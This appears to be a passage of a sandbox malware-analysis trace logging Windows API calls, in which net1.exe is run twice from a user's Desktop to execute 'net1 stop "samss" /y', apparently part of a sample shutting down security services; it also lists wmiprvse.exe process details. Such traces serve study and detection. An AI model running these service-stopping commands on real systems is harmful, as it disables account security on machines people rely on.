	os_tid = 0x2068

	[0236.395] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26fe70 | out: lpSystemTimeAsFileTime=0x26fe70*(dwLowDateTime=0x6f41a2e0, dwHighDateTime=0x1d5cdef)) 
	[0236.395] GetCurrentProcessId () returned 0x2064
	[0236.395] GetCurrentThreadId () returned 0x2068
	[0236.395] GetTickCount () returned 0x117e792
	[0236.395] QueryPerformanceCounter (in: lpPerformanceCount=0x26fe78 | out: lpPerformanceCount=0x26fe78*=37795510670) returned 1
	[0236.396] GetModuleHandleW (lpModuleName=0x0) returned 0xff2f0000
	[0236.396] __set_app_type (_Type=0x1) 
	[0236.396] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff309c9c) returned 0x0
	[0236.396] __getmainargs (in: _Argc=0xff314780, _Argv=0xff314790, _Env=0xff314788, _DoWildCard=0, _StartInfo=0xff31479c | out: _Argc=0xff314780, _Argv=0xff314790, _Env=0xff314788) returned 0
	[0236.598] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0236.599] GetConsoleOutputCP () returned 0x1b5
	[0236.599] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xff31cec0 | out: lpCPInfo=0xff31cec0) returned 1
	[0236.599] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0236.609] sprintf_s (in: _DstBuf=0x26fe18, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0236.609] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0236.612] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0236.612] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0236.612] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0236.612] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x26fbb0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0236.612] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x0, Size=0x6e) returned 0x44c060
	[0236.612] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0236.613] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x26fe08 | out: Buffer=0x26fe08*=0x444d40) returned 0x0
	[0236.613] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x26fe08 | out: Buffer=0x26fe08*=0x44c0e0) returned 0x0
	[0236.613] _fileno (_File=0x7fefe122a80) returned 0
	[0236.613] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0236.613] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0236.613] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0236.613] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0236.613] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0236.614] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0236.614] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0236.614] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0236.614] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0236.614] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0236.614] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0236.614] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0236.614] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0236.614] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0236.614] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0236.614] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0236.614] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0236.614] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0236.614] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0236.614] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0236.614] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0236.614] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0236.615] _wcsicmp (_String1="accounts", _String2="samss") returned -18
	[0236.615] _wcsicmp (_String1="computer", _String2="samss") returned -16
	[0236.615] _wcsicmp (_String1="config", _String2="samss") returned -16
	[0236.615] _wcsicmp (_String1="continue", _String2="samss") returned -16
	[0236.615] _wcsicmp (_String1="cont", _String2="samss") returned -16
	[0236.615] _wcsicmp (_String1="file", _String2="samss") returned -13
	[0236.615] _wcsicmp (_String1="files", _String2="samss") returned -13
	[0236.615] _wcsicmp (_String1="group", _String2="samss") returned -12
	[0236.615] _wcsicmp (_String1="groups", _String2="samss") returned -12
	[0236.615] _wcsicmp (_String1="help", _String2="samss") returned -11
	[0236.615] _wcsicmp (_String1="helpmsg", _String2="samss") returned -11
	[0236.615] _wcsicmp (_String1="localgroup", _String2="samss") returned -7
	[0236.615] _wcsicmp (_String1="pause", _String2="samss") returned -3
	[0236.615] _wcsicmp (_String1="session", _String2="samss") returned 4
	[0236.615] _wcsicmp (_String1="sessions", _String2="samss") returned 4
	[0236.615] _wcsicmp (_String1="sess", _String2="samss") returned 4
	[0236.615] _wcsicmp (_String1="share", _String2="samss") returned 7
	[0236.615] _wcsicmp (_String1="start", _String2="samss") returned 19
	[0236.616] _wcsicmp (_String1="stats", _String2="samss") returned 19
	[0236.616] _wcsicmp (_String1="statistics", _String2="samss") returned 19
	[0236.616] _wcsicmp (_String1="stop", _String2="samss") returned 19
	[0236.616] _wcsicmp (_String1="time", _String2="samss") returned 1
	[0236.616] _wcsicmp (_String1="user", _String2="samss") returned 2
	[0236.616] _wcsicmp (_String1="users", _String2="samss") returned 2
	[0236.616] _wcsicmp (_String1="msg", _String2="samss") returned -6
	[0236.616] _wcsicmp (_String1="messenger", _String2="samss") returned -6
	[0236.616] _wcsicmp (_String1="receiver", _String2="samss") returned -1
	[0236.616] _wcsicmp (_String1="rcv", _String2="samss") returned -1
	[0236.616] _wcsicmp (_String1="netpopup", _String2="samss") returned -5
	[0236.616] _wcsicmp (_String1="redirector", _String2="samss") returned -1
	[0236.616] _wcsicmp (_String1="redir", _String2="samss") returned -1
	[0236.616] _wcsicmp (_String1="rdr", _String2="samss") returned -1
	[0236.616] _wcsicmp (_String1="workstation", _String2="samss") returned 4
	[0236.616] _wcsicmp (_String1="work", _String2="samss") returned 4
	[0236.616] _wcsicmp (_String1="wksta", _String2="samss") returned 4
	[0236.616] _wcsicmp (_String1="prdr", _String2="samss") returned -3
	[0236.616] _wcsicmp (_String1="devrdr", _String2="samss") returned -15
	[0236.617] _wcsicmp (_String1="lanmanworkstation", _String2="samss") returned -7
	[0236.617] _wcsicmp (_String1="server", _String2="samss") returned 4
	[0236.617] _wcsicmp (_String1="svr", _String2="samss") returned 21
	[0236.617] _wcsicmp (_String1="srv", _String2="samss") returned 17
	[0236.617] _wcsicmp (_String1="lanmanserver", _String2="samss") returned -7
	[0236.617] _wcsicmp (_String1="alerter", _String2="samss") returned -18
	[0236.617] _wcsicmp (_String1="netlogon", _String2="samss") returned -5
	[0236.617] _wcsupr (in: _String="samss" | out: _String="SAMSS") returned="SAMSS"
	[0236.618] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x44cdf0
	[0236.626] GetServiceKeyNameW (in: hSCManager=0x44cdf0, lpDisplayName="SAMSS", lpServiceName=0xff315750, lpcchBuffer=0x26fd28 | out: lpServiceName="", lpcchBuffer=0x26fd28) returned 0
	[0236.628] _wcsicmp (_String1="msg", _String2="SAMSS") returned -6
	[0236.628] _wcsicmp (_String1="messenger", _String2="SAMSS") returned -6
	[0236.628] _wcsicmp (_String1="receiver", _String2="SAMSS") returned -1
	[0236.628] _wcsicmp (_String1="rcv", _String2="SAMSS") returned -1
	[0236.628] _wcsicmp (_String1="redirector", _String2="SAMSS") returned -1
	[0236.628] _wcsicmp (_String1="redir", _String2="SAMSS") returned -1
	[0236.628] _wcsicmp (_String1="rdr", _String2="SAMSS") returned -1
	[0236.628] _wcsicmp (_String1="workstation", _String2="SAMSS") returned 4
	[0236.628] _wcsicmp (_String1="work", _String2="SAMSS") returned 4
	[0236.628] _wcsicmp (_String1="wksta", _String2="SAMSS") returned 4
	[0236.628] _wcsicmp (_String1="prdr", _String2="SAMSS") returned -3
	[0236.628] _wcsicmp (_String1="devrdr", _String2="SAMSS") returned -15
	[0236.628] _wcsicmp (_String1="lanmanworkstation", _String2="SAMSS") returned -7
	[0236.628] _wcsicmp (_String1="server", _String2="SAMSS") returned 4
	[0236.628] _wcsicmp (_String1="svr", _String2="SAMSS") returned 21
	[0236.628] _wcsicmp (_String1="srv", _String2="SAMSS") returned 17
	[0236.628] _wcsicmp (_String1="lanmanserver", _String2="SAMSS") returned -7
	[0236.629] _wcsicmp (_String1="alerter", _String2="SAMSS") returned -18
	[0236.629] _wcsicmp (_String1="netlogon", _String2="SAMSS") returned -5
	[0236.629] NetServiceControl (in: servername=0x0, service="SAMSS", opcode=0x0, arg=0x0, bufptr=0x26fd30 | out: bufptr=0x26fd30) returned 0x0
	[0236.632] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0x26fce8 | out: Buffer=0x26fce8*=0x450c70) returned 0x0
	[0236.632] OpenServiceW (hSCManager=0x44cdf0, lpServiceName="SAMSS", dwDesiredAccess=0xc) returned 0x44ce50
	[0236.633] QueryServiceStatus (in: hService=0x44ce50, lpServiceStatus=0x26fc90 | out: lpServiceStatus=0x26fc90*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0236.633] NetApiBufferFree (Buffer=0x450c70) returned 0x0
	[0236.633] CloseServiceHandle (hSCObject=0x44ce50) returned 1
	[0236.634] wcscpy_s (in: _Destination=0xff3180d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0236.634] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74570000
	[0236.635] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x74570000, dwMessageId=0x88f, dwLanguageId=0x0, lpBuffer=0xff315b50, nSize=0x800, Arguments=0xff317f90 | out: lpBuffer="The requested pause, continue, or stop is not valid for this service.\r\n") returned 0x47
	[0236.639] GetFileType (hFile=0xb) returned 0x2
	[0236.810] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x26fb88 | out: lpMode=0x26fb88) returned 1
	[0236.811] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff315b50*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x26fb80, lpReserved=0x0 | out: lpBuffer=0xff315b50*, lpNumberOfCharsWritten=0x26fb80*=0x47) returned 1
	[0236.811] GetFileType (hFile=0xb) returned 0x2
	[0236.812] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x26fb88 | out: lpMode=0x26fb88) returned 1
	[0236.812] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff2f1efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26fb80, lpReserved=0x0 | out: lpBuffer=0xff2f1efc*, lpNumberOfCharsWritten=0x26fb80*=0x2) returned 1
	[0236.813] _ultow (in: _Dest=0x88f, _Radix=2554864 | out: _Dest=0x88f) returned="2191"
	[0236.813] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74570000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xff315b50, nSize=0x800, Arguments=0xff317f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2191.\r\n") returned 0x34
	[0236.814] GetFileType (hFile=0xb) returned 0x2
	[0236.814] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x26fb88 | out: lpMode=0x26fb88) returned 1
	[0236.815] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff315b50*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x26fb80, lpReserved=0x0 | out: lpBuffer=0xff315b50*, lpNumberOfCharsWritten=0x26fb80*=0x34) returned 1
	[0236.815] GetFileType (hFile=0xb) returned 0x2
	[0236.816] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x26fb88 | out: lpMode=0x26fb88) returned 1
	[0236.816] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff2f1efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26fb80, lpReserved=0x0 | out: lpBuffer=0xff2f1efc*, lpNumberOfCharsWritten=0x26fb80*=0x2) returned 1
	[0236.817] NetApiBufferFree (Buffer=0x444d40) returned 0x0
	[0236.817] NetApiBufferFree (Buffer=0x44c0e0) returned 0x0
	[0236.818] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0236.818] exit (_Code=2) 

Process:
	id = "42"
	image_name = "wmiprvse.exe"
	filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe"
	page_root = "0x31b03000"
	os_pid = "0x634"
	os_integrity_level = "0x4000"
	os_privileges = "0x60800000"
	monitor_reason = "rpc_server"
	parent_id = "12"
	os_parent_pid = "0x250"
	cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\Network Service"
	bitness = "32"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:00075d53" [0xc000000f]


Thread:
	id = 1722
	os_tid = 0xc54


Thread:
	id = 1723
	os_tid = 0xb1c


Thread:
	id = 1724
	os_tid = 0x14c


Thread:
	id = 1725
	os_tid = 0x8c4


Thread:
	id = 1726
	os_tid = 0x35c


Thread:
	id = 1727
	os_tid = 0x690


Thread:
	id = 1728
	os_tid = 0x4e8


Thread:
	id = 1729
	os_tid = 0x388


Thread:
	id = 1730
	os_tid = 0x64c


Thread:
	id = 3798
	os_tid = 0x40e4


Process:
	id = "43"
	image_name = "wmiprvse.exe"
	filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe"
	page_root = "0x4a8ee000"
	os_pid = "0xbc8"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e990"
	monitor_reason = "rpc_server"
	parent_id = "12"
	os_parent_pid = "0x250"
	cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	bitness = "32"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000cc7d" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]


Thread:
	id = 1731
	os_tid = 0x1760


Thread:
	id = 1732
	os_tid = 0x9d8


Thread:
	id = 1733
	os_tid = 0xbe8


Thread:
	id = 1734
	os_tid = 0xbe4


Thread:
	id = 1735
	os_tid = 0xbe0


Thread:
	id = 1736
	os_tid = 0xbd4


Thread:
	id = 1737
	os_tid = 0xbd0


Thread:
	id = 1738
	os_tid = 0xbcc


Process:
	id = "44"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0xcd92000"
	os_pid = "0x2204"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "40"
	os_parent_pid = "0x2030"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1796
	os_tid = 0x2208

	[0237.811] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10fcd0 | out: lpSystemTimeAsFileTime=0x10fcd0*(dwLowDateTime=0x70099660, dwHighDateTime=0x1d5cdef)) 
	[0237.811] GetCurrentProcessId () returned 0x2204
	[0237.811] GetCurrentThreadId () returned 0x2208
	[0237.812] GetTickCount () returned 0x117ecb0
	[0237.812] QueryPerformanceCounter (in: lpPerformanceCount=0x10fcd8 | out: lpPerformanceCount=0x10fcd8*=37937177380) returned 1
	[0237.814] GetModuleHandleW (lpModuleName=0x0) returned 0xff690000
	[0237.814] __set_app_type (_Type=0x1) 
	[0237.814] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff6a9c9c) returned 0x0
	[0237.814] __getmainargs (in: _Argc=0xff6b4780, _Argv=0xff6b4790, _Env=0xff6b4788, _DoWildCard=0, _StartInfo=0xff6b479c | out: _Argc=0xff6b4780, _Argv=0xff6b4790, _Env=0xff6b4788) returned 0
	[0237.814] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0237.815] GetConsoleOutputCP () returned 0x1b5
	[0237.896] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xff6bcec0 | out: lpCPInfo=0xff6bcec0) returned 1
	[0237.896] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0237.900] sprintf_s (in: _DstBuf=0x10fc78, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0237.901] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0237.904] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0237.904] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0237.904] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0237.904] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x10fa10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0237.904] RtlAllocateHeap (HeapHandle=0x130000, Flags=0x0, Size=0x6e) returned 0x14c060
	[0237.904] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0237.904] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x10fc68 | out: Buffer=0x10fc68*=0x144d40) returned 0x0
	[0237.905] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x10fc68 | out: Buffer=0x10fc68*=0x14c0e0) returned 0x0
	[0237.905] _fileno (_File=0x7fefe122a80) returned 0
	[0237.905] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0237.905] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0237.905] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0237.905] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0237.905] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0237.905] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0237.906] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0237.906] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0237.906] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0237.906] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0237.906] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0237.906] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0237.906] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0237.906] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0237.906] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0237.906] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0237.906] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0237.906] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0237.906] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0237.906] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0237.906] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0237.906] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0237.906] _wcsicmp (_String1="accounts", _String2="samss") returned -18
	[0237.906] _wcsicmp (_String1="computer", _String2="samss") returned -16
	[0237.906] _wcsicmp (_String1="config", _String2="samss") returned -16
	[0237.907] _wcsicmp (_String1="continue", _String2="samss") returned -16
	[0237.907] _wcsicmp (_String1="cont", _String2="samss") returned -16
	[0237.907] _wcsicmp (_String1="file", _String2="samss") returned -13
	[0237.907] _wcsicmp (_String1="files", _String2="samss") returned -13
	[0237.907] _wcsicmp (_String1="group", _String2="samss") returned -12
	[0237.907] _wcsicmp (_String1="groups", _String2="samss") returned -12
	[0237.907] _wcsicmp (_String1="help", _String2="samss") returned -11
	[0237.907] _wcsicmp (_String1="helpmsg", _String2="samss") returned -11
	[0237.907] _wcsicmp (_String1="localgroup", _String2="samss") returned -7
	[0237.907] _wcsicmp (_String1="pause", _String2="samss") returned -3
	[0237.907] _wcsicmp (_String1="session", _String2="samss") returned 4
	[0237.907] _wcsicmp (_String1="sessions", _String2="samss") returned 4
	[0237.907] _wcsicmp (_String1="sess", _String2="samss") returned 4
	[0237.907] _wcsicmp (_String1="share", _String2="samss") returned 7
	[0237.907] _wcsicmp (_String1="start", _String2="samss") returned 19
	[0237.907] _wcsicmp (_String1="stats", _String2="samss") returned 19
	[0237.907] _wcsicmp (_String1="statistics", _String2="samss") returned 19
	[0237.907] _wcsicmp (_String1="stop", _String2="samss") returned 19
	[0237.907] _wcsicmp (_String1="time", _String2="samss") returned 1
	[0237.908] _wcsicmp (_String1="user", _String2="samss") returned 2
	[0237.908] _wcsicmp (_String1="users", _String2="samss") returned 2
	[0237.908] _wcsicmp (_String1="msg", _String2="samss") returned -6
	[0237.908] _wcsicmp (_String1="messenger", _String2="samss") returned -6
	[0237.908] _wcsicmp (_String1="receiver", _String2="samss") returned -1
	[0237.908] _wcsicmp (_String1="rcv", _String2="samss") returned -1
	[0237.908] _wcsicmp (_String1="netpopup", _String2="samss") returned -5
	[0237.908] _wcsicmp (_String1="redirector", _String2="samss") returned -1
	[0237.908] _wcsicmp (_String1="redir", _String2="samss") returned -1
	[0237.908] _wcsicmp (_String1="rdr", _String2="samss") returned -1
	[0237.908] _wcsicmp (_String1="workstation", _String2="samss") returned 4
	[0237.908] _wcsicmp (_String1="work", _String2="samss") returned 4
	[0237.908] _wcsicmp (_String1="wksta", _String2="samss") returned 4
	[0237.908] _wcsicmp (_String1="prdr", _String2="samss") returned -3
	[0237.908] _wcsicmp (_String1="devrdr", _String2="samss") returned -15
	[0237.908] _wcsicmp (_String1="lanmanworkstation", _String2="samss") returned -7
	[0237.908] _wcsicmp (_String1="server", _String2="samss") returned 4
	[0237.908] _wcsicmp (_String1="svr", _String2="samss") returned 21
	[0237.909] _wcsicmp (_String1="srv", _String2="samss") returned 17
	[0237.909] _wcsicmp (_String1="lanmanserver", _String2="samss") returned -7
	[0237.909] _wcsicmp (_String1="alerter", _String2="samss") returned -18
	[0237.909] _wcsicmp (_String1="netlogon", _String2="samss") returned -5
	[0237.909] _wcsupr (in: _String="samss" | out: _String="SAMSS") returned="SAMSS"
	[0237.909] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x14cdf0
	[0237.917] GetServiceKeyNameW (in: hSCManager=0x14cdf0, lpDisplayName="SAMSS", lpServiceName=0xff6b5750, lpcchBuffer=0x10fb88 | out: lpServiceName="", lpcchBuffer=0x10fb88) returned 0
	[0237.919] _wcsicmp (_String1="msg", _String2="SAMSS") returned -6
	[0237.919] _wcsicmp (_String1="messenger", _String2="SAMSS") returned -6
	[0237.919] _wcsicmp (_String1="receiver", _String2="SAMSS") returned -1
	[0237.919] _wcsicmp (_String1="rcv", _String2="SAMSS") returned -1
	[0237.919] _wcsicmp (_String1="redirector", _String2="SAMSS") returned -1
	[0237.919] _wcsicmp (_String1="redir", _String2="SAMSS") returned -1
	[0237.919] _wcsicmp (_String1="rdr", _String2="SAMSS") returned -1
	[0237.919] _wcsicmp (_String1="workstation", _String2="SAMSS") returned 4
	[0237.920] _wcsicmp (_String1="work", _String2="SAMSS") returned 4
	[0237.920] _wcsicmp (_String1="wksta", _String2="SAMSS") returned 4
	[0237.920] _wcsicmp (_String1="prdr", _String2="SAMSS") returned -3
	[0237.920] _wcsicmp (_String1="devrdr", _String2="SAMSS") returned -15
	[0237.920] _wcsicmp (_String1="lanmanworkstation", _String2="SAMSS") returned -7
	[0237.920] _wcsicmp (_String1="server", _String2="SAMSS") returned 4
	[0237.920] _wcsicmp (_String1="svr", _String2="SAMSS") returned 21
	[0237.920] _wcsicmp (_String1="srv", _String2="SAMSS") returned 17
	[0237.920] _wcsicmp (_String1="lanmanserver", _String2="SAMSS") returned -7
	[0237.920] _wcsicmp (_String1="alerter", _String2="SAMSS") returned -18
	[0237.920] _wcsicmp (_String1="netlogon", _String2="SAMSS") returned -5
	[0237.920] NetServiceControl (in: servername=0x0, service="SAMSS", opcode=0x0, arg=0x0, bufptr=0x10fb90 | out: bufptr=0x10fb90) returned 0x0
	[0237.923] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0x10fb48 | out: Buffer=0x10fb48*=0x150c70) returned 0x0
	[0237.923] OpenServiceW (hSCManager=0x14cdf0, lpServiceName="SAMSS", dwDesiredAccess=0xc) returned 0x14ce50
	[0237.924] QueryServiceStatus (in: hService=0x14ce50, lpServiceStatus=0x10faf0 | out: lpServiceStatus=0x10faf0*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0237.924] NetApiBufferFree (Buffer=0x150c70) returned 0x0
	[0237.925] CloseServiceHandle (hSCObject=0x14ce50) returned 1
	[0237.925] wcscpy_s (in: _Destination=0xff6b80d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0237.925] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74580000
	[0237.926] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x74580000, dwMessageId=0x88f, dwLanguageId=0x0, lpBuffer=0xff6b5b50, nSize=0x800, Arguments=0xff6b7f90 | out: lpBuffer="The requested pause, continue, or stop is not valid for this service.\r\n") returned 0x47
	[0237.931] GetFileType (hFile=0xb) returned 0x2
	[0238.000] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x10f9e8 | out: lpMode=0x10f9e8) returned 1
	[0238.000] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff6b5b50*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x10f9e0, lpReserved=0x0 | out: lpBuffer=0xff6b5b50*, lpNumberOfCharsWritten=0x10f9e0*=0x47) returned 1
	[0238.001] GetFileType (hFile=0xb) returned 0x2
	[0238.001] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x10f9e8 | out: lpMode=0x10f9e8) returned 1
	[0238.002] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff691efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x10f9e0, lpReserved=0x0 | out: lpBuffer=0xff691efc*, lpNumberOfCharsWritten=0x10f9e0*=0x2) returned 1
	[0238.002] _ultow (in: _Dest=0x88f, _Radix=1112656 | out: _Dest=0x88f) returned="2191"
	[0238.002] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74580000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xff6b5b50, nSize=0x800, Arguments=0xff6b7f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2191.\r\n") returned 0x34
	[0238.003] GetFileType (hFile=0xb) returned 0x2
	[0238.003] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x10f9e8 | out: lpMode=0x10f9e8) returned 1
